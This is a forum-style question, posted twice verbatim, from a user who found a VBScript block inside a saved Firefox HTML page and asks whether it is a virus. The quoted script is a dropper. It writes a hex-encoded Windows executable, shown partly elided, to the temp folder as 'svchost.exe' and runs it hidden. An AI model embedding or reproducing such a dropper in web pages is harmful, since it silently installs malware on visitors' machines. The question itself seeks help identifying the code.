Saved Firefox Page Probably Contains A Virus
I saved a page using Firefox and then opened the .html file.

It contained this:

    <SCRIPT Language=VBScript><!--
    DropFileName = "svchost.exe"
    WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000D72D862D934CE87E934CE87E934CE87E8F03B77E914CE87E9C74887ED34DE87EC644B37E8E4CE87EA0CBE77E924CE87E5043B77EB14CE87E8338B27E9F4CE87E3AC2B57E924CE87E52696368934CE87E000000000000000000000000000000000000000000000000504500004C0104009E498D410000000000000000E0000F010B0106040022000000E0010000080000FC1100000010000000400000000040000010000000020000040000000500010004000000000000000030020000040000F48D0100020000800000400000600000000040000010000000000000100000000000000000000000AC160000A000000000E000008C070000D04300001800000000000000000000000000000000000000000000000000000000[...]A56ADC914EE52C9497F3AC4F805595031D77B07D628A444E2E5DFE7A34F8AE3E58E9CCD07FC087C6D24633A8337B6ED4AB4E9116DA1D618255E76E8023FB3ECC32199812E49855402783AF12E4985512E4985512E4985512E4985512E4985512E4985512E49855"
    Set FSO = CreateObject("Scripting.FileSystemObject")
    DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
    If FSO.FileExists(DropPath)=False Then
    Set FileObj = FSO.CreateTextFile(DropPath, True)
    For i = 1 To Len(WriteData) Step 2
    FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
    Next
    FileObj.Close
    End If
    Set WSHshell = CreateObject("WScript.Shell")
    WSHshell.Run DropPath, 0
    //--></SCRIPT>

Is it a virus trying to ruin the computer or special code for Firefox to build saved page?
Saved Firefox Page Probably Contains A Virus
===

I saved a page using Firefox and then opened the .html file.

It contained this:

    <SCRIPT Language=VBScript><!--
    DropFileName = "svchost.exe"
    WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000D72D862D934CE87E934CE87E934CE87E8F03B77E914CE87E9C74887ED34DE87EC644B37E8E4CE87EA0CBE77E924CE87E5043B77EB14CE87E8338B27E9F4CE87E3AC2B57E924CE87E52696368934CE87E000000000000000000000000000000000000000000000000504500004C0104009E498D410000000000000000E0000F010B0106040022000000E0010000080000FC1100000010000000400000000040000010000000020000040000000500010004000000000000000030020000040000F48D0100020000800000400000600000000040000010000000000000100000000000000000000000AC160000A000000000E000008C070000D04300001800000000000000000000000000000000000000000000000000000000[...]A56ADC914EE52C9497F3AC4F805595031D77B07D628A444E2E5DFE7A34F8AE3E58E9CCD07FC087C6D24633A8337B6ED4AB4E9116DA1D618255E76E8023FB3ECC32199812E49855402783AF12E4985512E4985512E4985512E4985512E4985512E4985512E49855"
    Set FSO = CreateObject("Scripting.FileSystemObject")
    DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
    If FSO.FileExists(DropPath)=False Then
    Set FileObj = FSO.CreateTextFile(DropPath, True)
    For i = 1 To Len(WriteData) Step 2
    FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
    Next
    FileObj.Close
    End If
    Set WSHshell = CreateObject("WScript.Shell")
    WSHshell.Run DropPath, 0
    //--></SCRIPT>

Is it a virus trying to ruin the computer or special code for Firefox to build saved page?